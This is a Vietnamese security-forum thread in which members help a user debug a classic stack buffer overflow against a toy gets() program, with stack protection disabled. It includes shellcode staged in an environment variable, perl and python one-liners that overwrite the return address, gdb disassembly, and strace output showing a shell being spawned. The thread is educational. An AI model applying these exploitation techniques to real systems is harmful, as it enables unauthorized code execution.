[Programming] Vấn đề khi thử exploit hàm gets |
16/08/2008 00:12:21 (+0700) | #1 | 147046 |
|
Tal
Member
|
0 |
|
|
Joined: 15/09/2007 16:50:17
Messages: 67
Offline
|
|
Em có 1 chương trình như thế này:
(Chương trình getname.c dịch ra getname.out)
Code:
#include <string.h>
#include <stdio.h>
int main(int argc, char **argv)
{
char name[8];
printf("What is your name: ");
gets(name);
printf("Aha, your name is: %s\n",name);
return 0;
}
Ở đây chương trình gặp lỗi buffer overflow ở hàm gets. Em đưa đoạn shellcode vào biến môi trường code như sau
Code:
export CODE=`perl -e 'print "\x90"x20';cat shellcode`
trong đó file shellcode chứa shellcode để đổ ra 1 shell.
Dùng 1 chương trình lấy địa chỉ biến môi trường CODE ví dụ là: 0xbffffeb3. Sau đó em thử nhồi địa chỉ shellcode vào buffer của chương trình trên như sau:
Code:
perl -e 'print "\xb3\xfe\xff\xbf"x20' | ./getname.out
Tuy vậy chương trình không thể nào nhảy được về đoạn shellcode trong biến CODE ở trên mà luôn luôn nhảy đến lệnh printf tiếp theo và chương trình vẫn printf đoạn địa chỉ em nhồi vào. Ai có thể chỉ cho em tại sao được không?
(Em đã disable cơ chế bảo vệ stack (-fno-stack-protector), stack alignment 4 bytes, và không cho hệ điều hành load địa chỉ random). |
|
|
|
|
[Question] Re: Vấn đề khi thử exploit hàm gets |
16/08/2008 00:22:04 (+0700) | #2 | 147048 |
Cognac
Member
|
0 |
|
|
Joined: 12/08/2008 02:28:47
Messages: 17
Offline
|
|
@Tal: bạn phải gdb debug xem chuyện gì xảy ra chứ ? Chứ nói vậy ai mà mò dùm bạn?
Trước hết bạn cho vài thông tin:
1.gcc --version
2.gdb ./target
disassemble main
... vv |
|
|
|
|
[Question] Re: Vấn đề khi thử exploit hàm gets |
16/08/2008 00:37:42 (+0700) | #3 | 147056 |
mrro
Administrator
|
Joined: 27/12/2001 05:07:00
Messages: 745
Offline
|
|
@Tal: có hai điểm bạn cần chú ý, tôi sẽ đưa dạng câu hỏi, để bạn tự tìm hiểu:
1. Khi overflow biến name, nghĩa là bạn đang overflow RIP của hàm nào? Khi trả lời được câu hỏi này, bạn sẽ hiểu tại sao hàm printf tiếp theo vẫn được thực thi bình thường.
2. mỗi chương trình khi được chạy, sẽ có một môi trường khác nhau, nên địa chỉ của biến môi trường lầy từ chương trình A sẽ khác với địa chỉ của biến môi trường đó trong chương trình B. Bạn hãy coi là nó khác thế nào?
Ngoài ra, như Cognac nói, bạn nên cung cấp thêm thông tin.
--m |
|
http://tinsang.net
TetCon 2013 http://tetcon.org
Làm an toàn thông tin thì học gì?/hvaonline/posts/list/42133.html |
|
|
|
[Question] Re: Vấn đề khi thử exploit hàm gets |
16/08/2008 00:37:50 (+0700) | #4 | 147057 |
|
Tal
Member
|
0 |
|
|
Joined: 15/09/2007 16:50:17
Messages: 67
Offline
|
|
Cognac wrote:
@Tal: bạn phải gdb debug xem chuyện gì xảy ra chứ ? Chứ nói vậy ai mà mò dùm bạn?
Trước hết bạn cho vài thông tin:
1.gcc --version
2.gdb ./target
disassemble main
... vv
Thử gdb rồi nhưng không được, cần sự hướng dẫn cách gdb mà
Thông tin thì có ngay
Code:
gcc --version
gcc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu7)
Copyright (C) 2007 Free Software Foundation, Inc.
This is free software; see the source for copying conditions. There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
Mã assembly của hàm main chương trình getname:
Code:
(gdb) disas main
Dump of assembler code for function main:
0x080483a4 <main+0>: push %ebp
0x080483a5 <main+1>: mov %esp,%ebp
0x080483a7 <main+3>: sub $0x10,%esp
0x080483aa <main+6>: movl $0x80484a0,(%esp)
0x080483b1 <main+13>: call 0x804830c <printf@plt>
0x080483b6 <main+18>: lea -0x8(%ebp),%eax
0x080483b9 <main+21>: mov %eax,(%esp)
0x080483bc <main+24>: call 0x80482ec <gets@plt>
0x080483c1 <main+29>: lea -0x8(%ebp),%eax
0x080483c4 <main+32>: mov %eax,0x4(%esp)
0x080483c8 <main+36>: movl $0x80484b4,(%esp)
0x080483cf <main+43>: call 0x804830c <printf@plt>
0x080483d4 <main+48>: mov $0x0,%eax
0x080483d9 <main+53>: leave
0x080483da <main+54>: ret
End of assembler dump.
|
|
|
|
|
[Question] Vấn đề khi thử exploit hàm gets |
19/08/2008 21:50:08 (+0700) | #5 | 147703 |
mybb
Elite Member
|
0 |
|
|
Joined: 24/03/2003 09:41:17
Messages: 62
Offline
|
|
Tal wrote:
Dùng 1 chương trình lấy địa chỉ biến môi trường CODE ví dụ là: 0xbffffeb3.
Làm sao bạn biết địa chỉ biến môi trường CODE là như vậy? |
|
|
|
|
[Question] Re: Vấn đề khi thử exploit hàm gets |
21/08/2008 05:37:46 (+0700) | #6 | 147945 |
|
Tal
Member
|
0 |
|
|
Joined: 15/09/2007 16:50:17
Messages: 67
Offline
|
|
Mình dùng 1 chương trình như sau:
Code:
#include <stdlib.h>
#include <stdio.h>
int main(int argc, char **argv) {
char *addr;
if (argc < 2) {
printf("Usage: %s <env var name>\n", argv[0]);
} else {
addr = getenv(argv[1]);
if (addr == NULL) {
printf("The environment variable %s does not exist\\n", argv[1]);
} else {
printf("%s is located at %p\n", argv[1], addr);
}
}
return 0;
}
|
|
|
|
|
[Question] Re: Vấn đề khi thử exploit hàm gets |
25/08/2008 13:22:29 (+0700) | #7 | 148518 |
Cognac
Member
|
0 |
|
|
Joined: 12/08/2008 02:28:47
Messages: 17
Offline
|
|
Nhìn đoạn disassembly của bạn, mình đề nghị bạn chạy thử cái này xem:
python -c 'print "A"*12 + "\xAA\xBB\xXCC\xDD"' |./vul
Lưuý: \xAA\xBB\xCC\xDD là địa chỉ biến môi trường CODE chứa shellcode của bạn
|
|
|
|
|
[Question] Re: Vấn đề khi thử exploit hàm gets |
27/08/2008 05:20:14 (+0700) | #8 | 148618 |
mybb
Elite Member
|
0 |
|
|
Joined: 24/03/2003 09:41:17
Messages: 62
Offline
|
|
Tal wrote:
Mình dùng 1 chương trình như sau:
Code:
#include <stdlib.h>
#include <stdio.h>
int main(int argc, char **argv) {
char *addr;
if (argc < 2) {
printf("Usage: %s <env var name>\n", argv[0]);
} else {
addr = getenv(argv[1]);
if (addr == NULL) {
printf("The environment variable %s does not exist\\n", argv[1]);
} else {
printf("%s is located at %p\n", argv[1], addr);
}
}
return 0;
}
Ý mình là làm sao bạn biết địa chỉ biến môi trường khi bạn chạy cái chương trình lấy ở trên và khi chạy cái getname.out của bạn là trùng nhau? Nếu nó khác thì sao? |
|
|
|
|
[Question] Re: Vấn đề khi thử exploit hàm gets |
27/08/2008 12:17:27 (+0700) | #9 | 148657 |
lamer
Elite Member
|
0 |
|
|
Joined: 26/02/2008 13:28:49
Messages: 215
Offline
|
|
Mấy bữa nay đi dạy ở hai trường bên Singapore cũng có người hỏi về cái này, hehehe :-D. |
|
|
|
|
[Question] Re: Vấn đề khi thử exploit hàm gets |
28/08/2008 21:54:21 (+0700) | #10 | 148750 |
|
Tal
Member
|
0 |
|
|
Joined: 15/09/2007 16:50:17
Messages: 67
Offline
|
|
Cognac wrote:
Nhìn đoạn disassembly của bạn, mình đề nghị bạn chạy thử cái này xem:
python -c 'print "A"*12 + "\xAA\xBB\xXCC\xDD"' |./vul
Lưuý: \xAA\xBB\xCC\xDD là địa chỉ biến môi trường CODE chứa shellcode của bạn
Bạn có nhầm không vì độ dài của buffer là 16 bytes + 8 bytes nữa của con trỏ và địa chỉ trả về mới ghi đè được địa chỉ trả về chứ? Lệnh khai thác của bạn mới chỉ đẩy vào buffer 16 bytes = độ dài buffer
Ở đoạn code khai thác mình mới để 20 bytes nên địa chỉ trả về là sai -> không khai thác được. Nhưng khi mình đẩy vào buffer nhiều thứ hơn, nó vẫn chưa nhảy về đúng đoạn shell. Đấy là chỗ mình chưa nắm rõ
Hơn nữa là đúng như anh mrro nói, mình đã xác định sai mục tiêu.
mybb wrote:
Ý mình là làm sao bạn biết địa chỉ biến môi trường khi bạn chạy cái chương trình lấy ở trên và khi chạy cái getname.out của bạn là trùng nhau? Nếu nó khác thì sao?
Biến môi trường được nạp tại địa chỉ gần nhau nếu tên chương trình chạy có độ dài gần nhau. Ở đây tớ thấy độ dài của 1 chương trình là getname, 1 cái là getenv hơn kém nhau 1 ký tự -> địa chỉ sẽ nạp chênh lệch nhau là 2 bytes. Vậy cơ bản là địa chỉ không chênh lệch lắm khi có đoạn NOP bảo kê.
@anh lamer:
Hì hì anh chỉ cho em cách exploit thằng này với
|
|
|
|
|
[Question] Re: Vấn đề khi thử exploit hàm gets |
28/08/2008 22:18:07 (+0700) | #11 | 148757 |
Cognac
Member
|
0 |
|
|
Joined: 12/08/2008 02:28:47
Messages: 17
Offline
|
|
#include <string.h>
#include <stdio.h>
int main(int argc, char **argv)
{
char name[8];
printf("What is your name: ");
gets(name);
printf("Aha, your name is: %s\n",name);
return 0;
}
@Ta
l: Đề nghị bạn đọc kỹ lại đoạn code của bạn xem độ dài buffer là bao nhiêu trước khi tiếp tục |
|
|
|
|
[Question] Re: Vấn đề khi thử exploit hàm gets |
29/08/2008 03:01:49 (+0700) | #12 | 148793 |
mybb
Elite Member
|
0 |
|
|
Joined: 24/03/2003 09:41:17
Messages: 62
Offline
|
|
Hì hì, bạn đã hiểu cái vụ biến môi trường rồi còn gì.
Việc chương trình vẫn chạy tới lệnh printf là đúng rồi, nó chỉ nhảy về cái shellcode của bạn khi nào main() return thôi chứ. Vậy thì đâu có gì mà thắc mắc nhỉ?
@Cognac: hì hì, mình nghĩ bạn nên xem lại đoạn disassemble rồi hãy bắt người khác đọc lại nhé.
Bổ sung tí: Cái đoạn mã khai thác bạn cho vào là 80 bytes chứ không phải 20bytes. |
|
|
|
|
[Question] Re: Vấn đề khi thử exploit hàm gets |
29/08/2008 03:21:44 (+0700) | #13 | 148796 |
mrro
Administrator
|
Joined: 27/12/2001 05:07:00
Messages: 745
Offline
|
|
mybb: tui thấy Cognac nói đúng mà?
--m |
|
http://tinsang.net
TetCon 2013 http://tetcon.org
Làm an toàn thông tin thì học gì?/hvaonline/posts/list/42133.html |
|
|
|
[Question] Re: Vấn đề khi thử exploit hàm gets |
29/08/2008 10:56:25 (+0700) | #14 | 148863 |
mybb
Elite Member
|
0 |
|
|
Joined: 24/03/2003 09:41:17
Messages: 62
Offline
|
|
@mrro: đó là trong code thôi mrro, còn thực tế (khi disass ra) thì:
Code:
0x080483a7 <main+3>: sub $0x10,%esp
Thì 16 byte mới tới được ebp (chưa đè lên ebp nữa) làm sao mà đè EIP? :-\
Mà ở đây dùng gcc 4.2.5 thì làm gì có khái niệm đè "tới" chỗ này hay chỗ kia |
|
|
|
|
[Question] Re: Vấn đề khi thử exploit hàm gets |
29/08/2008 11:27:42 (+0700) | #15 | 148871 |
|
Tal
Member
|
0 |
|
|
Joined: 15/09/2007 16:50:17
Messages: 67
Offline
|
|
Hì hì, thực ra thì đúng là tớ đã xác định sai mục tiêu khi mở cái post này. Buffer của hàm main của getname nên khi hàm main return, chương trình mới nhảy đến đoạn Shell code. Cho nên câu hỏi tại sao nó printf đã ok. Có điều là tớ chạy thử mãi mà nó vẫn không nhảy đến được đoạn shell và không hiểu tại sao nên muốn hỏi xem ở đây còn gì khúc mắc không.
@mybb: gcc 4.2.5 không đè chỗ này chỗ kia là thế nào thế? Chỉ cho tớ với |
|
|
|
|
[Question] Re: Vấn đề khi thử exploit hàm gets |
29/08/2008 11:33:40 (+0700) | #16 | 148873 |
|
Tal
Member
|
0 |
|
|
Joined: 15/09/2007 16:50:17
Messages: 67
Offline
|
|
Cognac wrote:
#include <string.h>
#include <stdio.h>
int main(int argc, char **argv)
{
char name[8];
printf("What is your name: ");
gets(name);
printf("Aha, your name is: %s\n",name);
return 0;
}
@Ta
l: Đề nghị bạn đọc kỹ lại đoạn code của bạn xem độ dài buffer là bao nhiêu trước khi tiếp tục
Chắc bạn chưa xem cái đoạn disassembly của hàm main
(gdb) disas main
Dump of assembler code for function main:
0x080483a4 <main+0>: push %ebp
0x080483a5 <main+1>: mov %esp,%ebp
0x080483a7 <main+3>: sub $0x10,%esp
0x080483aa <main+6>: movl $0x80484a0,(%esp)
0x080483b1 <main+13>: call 0x804830c <printf@plt>
0x080483b6 <main+18>: lea -0x8(%ebp),%eax
0x080483b9 <main+21>: mov %eax,(%esp)
0x080483bc <main+24>: call 0x80482ec <gets@plt>
0x080483c1 <main+29>: lea -0x8(%ebp),%eax
0x080483c4 <main+32>: mov %eax,0x4(%esp)
0x080483c8 <main+36>: movl $0x80484b4,(%esp)
0x080483cf <main+43>: call 0x804830c <printf@plt>
0x080483d4 <main+48>: mov $0x0,%eax
0x080483d9 <main+53>: leave
0x080483da <main+54>: ret
End of assembler dump.
|
|
|
|
|
[Question] Re: Vấn đề khi thử exploit hàm gets |
29/08/2008 11:38:50 (+0700) | #17 | 148877 |
mrro
Administrator
|
Joined: 27/12/2001 05:07:00
Messages: 745
Offline
|
|
@mybb: tui đã test thấy chỉ cần 12 byte là overwrite EBP, 16 byte là overwrite EIP y như Cognac nói. btw, dựa vào cái đoạn disassembly mà Tal đưa ra, tui nghĩ Tal kô compile bằng gcc-4.2.3 đâu, tự nếu compile bằng gcc-4.2.3 thì stack nó kô có được *sạch đẹp* như thế. Chắc là gcc-3.3.
Code:
0x080483a7 <main+3>: sub $0x10,%esp
Cái này có nghĩa là dành ra 16 byte cho local variables, trong trường hợp này là name, đâu có nhất thiết name nó sẽ chiếm 16 byte đâu.
Code:
0x080483b6 <main+18>: lea -0x8(%ebp),%eax
0x080483b9 <main+21>: mov %eax,(%esp)
0x080483bc <main+24>: call 0x80482ec <gets@plt>
Cái đoạn code này mới quan trọng nè. Nó cho thấy rõ, name = $ebp - 8 ($ebp này là $ebp của main), nên chỉ cần đưa vào name một chuỗi dài hơn 8 byte thì nó đã bắt đầu overwrite $ebp và $eip khi main trả về (hai cái này gọi chính xác phải là $sbp và $rip).
--m |
|
http://tinsang.net
TetCon 2013 http://tetcon.org
Làm an toàn thông tin thì học gì?/hvaonline/posts/list/42133.html |
|
|
|
[Question] Re: Vấn đề khi thử exploit hàm gets |
29/08/2008 11:53:17 (+0700) | #18 | 148885 |
mrro
Administrator
|
Joined: 27/12/2001 05:07:00
Messages: 745
Offline
|
|
Một ví dụ: tui nhét shellcode (in ra ngày giờ hiện tại) vào địa chỉ 0xbfffff038, cái chương trình test được compile với gcc-3.3 cho giống với cái disassembly mà Tal đưa ra.
(gdb) disas main
Dump of assembler code for function main:
0x080483a4 <main+0>: push %ebp
0x080483a5 <main+1>: mov %esp,%ebp
0x080483a7 <main+3>: sub $0x18,%esp
0x080483aa <main+6>: and $0xfffffff0,%esp
0x080483ad <main+9>: mov $0x0,%eax
0x080483b2 <main+14>: sub %eax,%esp
0x080483b4 <main+16>: movl $0x80484b4,(%esp)
0x080483bb <main+23>: call 0x80482ec <printf@plt>
0x080483c0 <main+28>: lea -0x8(%ebp),%eax
0x080483c3 <main+31>: mov %eax,(%esp)
0x080483c6 <main+34>: call 0x80482cc <gets@plt>
0x080483cb <main+39>: lea -0x8(%ebp),%eax
0x080483ce <main+42>: mov %eax,0x4(%esp)
0x080483d2 <main+46>: movl $0x80484c8,(%esp)
0x080483d9 <main+53>: call 0x80482ec <printf@plt>
0x080483de <main+58>: mov $0x0,%eax
0x080483e3 <main+63>: leave
0x080483e4 <main+64>: ret
m@h:~$ python -c 'print "A" * 12 + "\x38\xf0\xff\xbf"' | ~/test
What is your name: Aha, your name is: AAAAAAAAAAAA8���
Thu Aug 28 22:51:48 ICT 2008
--m
|
|
http://tinsang.net
TetCon 2013 http://tetcon.org
Làm an toàn thông tin thì học gì?/hvaonline/posts/list/42133.html |
|
|
|
[Question] Re: Vấn đề khi thử exploit hàm gets |
29/08/2008 12:10:46 (+0700) | #19 | 148891 |
mybb
Elite Member
|
0 |
|
|
Joined: 24/03/2003 09:41:17
Messages: 62
Offline
|
|
Ờ, lúc đầu cũng ngờ ngợ sao gcc 4.2 lại có cái asm đẹp vậy nhưng không có cái gì để thử xem trên máy mình nó có đẹp thế hay không. Còn về vụ gcc 4.2 tại sao không có vụ "tới" chỗ này chỗ kia là vì layout nó đổi rồi.
@mrro: ừ, không xem kỹ chỗ load effective address, xin lỗi mrro và Cognac |
|
|
|
|
[Question] Re: Vấn đề khi thử exploit hàm gets |
29/08/2008 20:21:05 (+0700) | #20 | 148904 |
|
Tal
Member
|
0 |
|
|
Joined: 15/09/2007 16:50:17
Messages: 67
Offline
|
|
À hiểu rồi. Cognag đúng rồi!
Hì hì, em compile bằng gcc 4.2.3 thật mà. Option compile là thế này:
-fno-stack-protector
-mpreferred-stack-boundary=2 |
|
|
|
|
[Question] Re: Vấn đề khi thử exploit hàm gets |
30/08/2008 23:38:51 (+0700) | #21 | 149069 |
Cognac
Member
|
0 |
|
|
Joined: 12/08/2008 02:28:47
Messages: 17
Offline
|
|
@Tal: Bạn có thể giải thích tại sao khi compile, bạn cho thằng -mpreferred-stack-boundary=2 được ko?
Cái này có lẽ liên quan đến memory allocate của gcc, dung lượng stack frame đc gcc cấp sẽ thay đổi phụ thuộc vào thuộc tính này ??
Trong trường hợp này là
Code:
0x080483a7 <main+3>: sub $0x10,%esp
@TaL, mrro: Bạn nói rõ hơn về stack layout của gcc 4.2.x được ko? . Cụ thể là nếu compile đoạn mã này bằng gcc 4.2 và preferred-stack-boundary=4 thì sẽ exploit thế nào? |
|
|
|
|
[Question] Re: Vấn đề khi thử exploit hàm gets |
31/08/2008 02:59:26 (+0700) | #22 | 149095 |
mrro
Administrator
|
Joined: 27/12/2001 05:07:00
Messages: 745
Offline
|
|
@Cognac: lúc đó sẽ có hai trường hợp:
- có SSP http://www.trl.ibm.com/projects/security/ssp/) hay không? nếu có SSP thì đối với đoạn mã này mặc dù bị lỗi nhưng sẽ kô thể khai thác được, chỉ có làm cho chương trình nó crash thôi.
- không có SSP (compile với option -fno-stack-protector), lúc này mã dissasembly của đoạn chương trình trên sẽ như sau:
Code:
(gdb) disas main
Dump of assembler code for function main:
0x080483a4 <main+0>: lea 0x4(%esp),%ecx
0x080483a8 <main+4>: and $0xfffffff0,%esp
0x080483ab <main+7>: pushl -0x4(%ecx)
0x080483ae <main+10>: push %ebp
0x080483af <main+11>: mov %esp,%ebp
0x080483b1 <main+13>: push %ecx
0x080483b2 <main+14>: sub $0x24,%esp
0x080483b5 <main+17>: movl $0x80484b0,(%esp)
0x080483bc <main+24>: call 0x804830c <printf@plt>
0x080483c1 <main+29>: lea -0xc(%ebp),%eax
0x080483c4 <main+32>: mov %eax,(%esp)
0x080483c7 <main+35>: call 0x80482ec <gets@plt>
0x080483cc <main+40>: lea -0xc(%ebp),%eax
0x080483cf <main+43>: mov %eax,0x4(%esp)
0x080483d3 <main+47>: movl $0x80484c4,(%esp)
0x080483da <main+54>: call 0x804830c <printf@plt>
0x080483df <main+59>: mov $0x0,%eax
0x080483e4 <main+64>: add $0x24,%esp
0x080483e7 <main+67>: pop %ecx
0x080483e8 <main+68>: pop %ebp
0x080483e9 <main+69>: lea -0x4(%ecx),%esp
0x080483ec <main+72>: ret
End of assembler dump.
Hơi khó exploit một chút, nhưng vẫn có thể exploit được. Bồ thử tìm hiểu cách exploit xem, gợi ý: chú ý vào ecx.
--m |
|
http://tinsang.net
TetCon 2013 http://tetcon.org
Làm an toàn thông tin thì học gì?/hvaonline/posts/list/42133.html |
|
|
|
[Question] Re: Vấn đề khi thử exploit hàm gets |
01/09/2008 03:33:39 (+0700) | #23 | 149202 |
|
Tal
Member
|
0 |
|
|
Joined: 15/09/2007 16:50:17
Messages: 67
Offline
|
|
Cognac wrote:
@Tal: Bạn có thể giải thích tại sao khi compile, bạn cho thằng -mpreferred-stack-boundary=2 được ko?
Cái này có lẽ liên quan đến memory allocate của gcc, dung lượng stack frame đc gcc cấp sẽ thay đổi phụ thuộc vào thuộc tính này ??
Trong trường hợp này là
Code:
0x080483a7 <main+3>: sub $0x10,%esp
Đúng. độ lớn của stack frame phụ thuộc vào thông số này. Gcc 4.2.x mặc định sẽ gán kích thước của buffer và biến cục bộ và thêm padding sao cho địa chỉ stack (địa chỉ thanh ghi ESP) luôn là bội số của 16 (1 paragraph). Vì thế mà nếu không gán stack-boundary=2 (ESP là bội số của 4 bytes) thì gcc phải tự tính toán để điều chỉnh lại giá trị của buffer sao cho phù hợp. Lấy ví dụ chương trình của tớ nếu để stack boundary mặc định thì sẽ có mã asm tương tự chương trình anh mrro ở trên. Trong mã ASM ở trên cậu cũng có thể thấy các đoạn mã nhằm hiệu chỉnh stack sao cho nó là bội của 16
Ví dụ ở các chỗ tớ bôi màu vàng
(gdb) disas main
Dump of assembler code for function main:
0x080483a4 <main+0>: lea 0x4(%esp),%ecx
0x080483a8 <main+4>: and $0xfffffff0,%esp
0x080483ab <main+7>: pushl -0x4(%ecx)
0x080483ae <main+10>: push %ebp
0x080483af <main+11>: mov %esp,%ebp
0x080483b1 <main+13>: push %ecx
0x080483b2 <main+14>: sub $0x24,%esp
0x080483b5 <main+17>: movl $0x80484b0,(%esp)
0x080483bc <main+24>: call 0x804830c <printf@plt>
0x080483c1 <main+29>: lea -0xc(%ebp),%eax
0x080483c4 <main+32>: mov %eax,(%esp)
0x080483c7 <main+35>: call 0x80482ec <gets@plt>
0x080483cc <main+40>: lea -0xc(%ebp),%eax
0x080483cf <main+43>: mov %eax,0x4(%esp)
0x080483d3 <main+47>: movl $0x80484c4,(%esp)
0x080483da <main+54>: call 0x804830c <printf@plt>
0x080483df <main+59>: mov $0x0,%eax
0x080483e4 <main+64>: add $0x24,%esp
0x080483e7 <main+67>: pop %ecx
0x080483e8 <main+68>: pop %ebp
0x080483e9 <main+69>: lea -0x4(%ecx),%esp
0x080483ec <main+72>: ret
End of assembler dump.
Vì con trỏ, độ lớn biến nguyên ... đều chiếm 4 bytes nên nếu để stack-boundary=2 (bội 4) thì việc tính toán, hiệu chỉnh sẽ trở nên đơn giản hơn. Vì thế code assembly sạch đẹp hơn, dễ nhìn, dễ exploit hơn .
@mrro: em nghĩ tăng độ dài buffer thêm 4 bytes là vượt qua được chương trình trên để ghi đè RIP đúng không nhỉ?
Vấn đề là tớ đã chỉnh lại độ dài buffer, điều chỉnh lại địa chỉ nhảy về... nhưng chương trình vẫn không thể nhảy đến đoạn shellcode được. Không hiểu thế nào. Mọi người xem
Code:
Tal@vxer:~/Documents/Research$ export CODE=`cat shellcode`
Tal@vxer:~/Documents/Research$ ./getenv CODE
CODE is located at 0xbfffff5a
Tal@vxer:~/Documents/Research$ ./getname
What is your name: hello
Aha, your name is: hello
Tal@vxer:~/Documents/Research$ perl -e "A"x12 . "\x5a\xff\xff\xbf" | ./getname
What is your name: Aha, your name is: ����������P���
Tal@vxer:~/Documents/Research$
|
|
|
|
|
[Question] Re: Vấn đề khi thử exploit hàm gets |
01/09/2008 08:07:54 (+0700) | #24 | 149215 |
mrro
Administrator
|
Joined: 27/12/2001 05:07:00
Messages: 745
Offline
|
|
@Tal: bồ thử chạy cái này xem output của strace là gì vậy? Trong đó có xuất hiện mấy cái syscall mà bồ sử dụng trong shellcode hay không?
$ perl -e "A"x12 . "\x5a\xff\xff\xbf" | strace ./getname
--m |
|
http://tinsang.net
TetCon 2013 http://tetcon.org
Làm an toàn thông tin thì học gì?/hvaonline/posts/list/42133.html |
|
|
|
[Question] Re: Vấn đề khi thử exploit hàm gets |
01/09/2008 21:56:56 (+0700) | #25 | 149248 |
|
Tal
Member
|
0 |
|
|
Joined: 15/09/2007 16:50:17
Messages: 67
Offline
|
|
Output của nó đây, và hàm cần thực hiện cũng đã thấy rồi.
execve("./getname", ["./getname"], [/* 38 vars */]) = 0
brk(0) = 0x804a000
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7fe1000
access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY) = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=50236, ...}) = 0
mmap2(NULL, 50236, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb7fd4000
close(3) = 0
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
open("/lib/tls/i686/cmov/libc.so.6", O_RDONLY) = 3
read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\260e\1"..., 512) = 512
fstat64(3, {st_mode=S_IFREG|0755, st_size=1364388, ...}) = 0
mmap2(NULL, 1369712, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0xb7e85000
mmap2(0xb7fce000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x149) = 0xb7fce000
mmap2(0xb7fd1000, 9840, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xb7fd1000
close(3) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7e84000
set_thread_area({entry_number:-1 -> 6, base_addr:0xb7e846b0, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0
mprotect(0xb7fce000, 4096, PROT_READ) = 0
munmap(0xb7fd4000, 50236) = 0
fstat64(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 0), ...}) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7fe0000
fstat64(0, {st_mode=S_IFIFO|0600, st_size=0, ...}) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7fdf000
read(0, "AAAAAAAAAAAAZ\377\377\277", 1024) = 16
read(0, "", 1024) = 0
write(1, "What is your name: Aha, your nam"..., 55What is your name: Aha, your name is: AAAAAAAAAAAAZ���
) = 55
execve("��", ["\234\255\24"], [/* 0 vars */]) = -1 ENOENT (No such file or directory)
execve("/bin/sh", ["/bin/sh"], [/* 0 vars */]) = 0
brk(0) = 0x805e000
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7fe1000
access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY) = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=50236, ...}) = 0
mmap2(NULL, 50236, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb7fd4000
close(3) = 0
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
open("/lib/tls/i686/cmov/libc.so.6", O_RDONLY) = 3
read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\260e\1"..., 512) = 512
fstat64(3, {st_mode=S_IFREG|0755, st_size=1364388, ...}) = 0
mmap2(NULL, 1369712, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0xb7e85000
mmap2(0xb7fce000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x149) = 0xb7fce000
mmap2(0xb7fd1000, 9840, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xb7fd1000
close(3) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7e84000
set_thread_area({entry_number:-1 -> 6, base_addr:0xb7e846b0, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0
mprotect(0xb7fce000, 4096, PROT_READ) = 0
munmap(0xb7fd4000, 50236) = 0
getpid() = 6412
rt_sigaction(SIGCHLD, {SIG_DFL}, {SIG_DFL}, 8) = 0
geteuid32() = 1000
getppid() = 6411
brk(0) = 0x805e000
brk(0x807f000) = 0x807f000
getcwd("/home/haprog/Documents/Research", 4096) = 32
ioctl(0, SNDCTL_TMR_TIMEBASE or TCGETS, 0xbffffd18) = -1 EINVAL (Invalid argument)
rt_sigaction(SIGINT, NULL, {SIG_DFL}, 8) = 0
rt_sigaction(SIGINT, {SIG_DFL}, NULL, 8) = 0
rt_sigaction(SIGQUIT, NULL, {SIG_DFL}, 8) = 0
rt_sigaction(SIGQUIT, {SIG_DFL}, NULL, 8) = 0
rt_sigaction(SIGTERM, NULL, {SIG_DFL}, 8) = 0
rt_sigaction(SIGTERM, {SIG_DFL}, NULL, 8) = 0
read(0, "", 8192) = 0
exit_group(0) = ?
Process 6412 detached
|
|
|
|
|
[Question] Re: Vấn đề khi thử exploit hàm gets |
05/09/2008 05:46:00 (+0700) | #26 | 149739 |
Cognac
Member
|
0 |
|
|
Joined: 12/08/2008 02:28:47
Messages: 17
Offline
|
|
mrro wrote:
@Cognac: lúc đó sẽ có hai trường hợp:
- có SSP http://www.trl.ibm.com/projects/security/ssp/) hay không? nếu có SSP thì đối với đoạn mã này mặc dù bị lỗi nhưng sẽ kô thể khai thác được, chỉ có làm cho chương trình nó crash thôi.
- không có SSP (compile với option -fno-stack-protector), lúc này mã dissasembly của đoạn chương trình trên sẽ như sau:
(gdb) disas main
Dump of assembler code for function main:
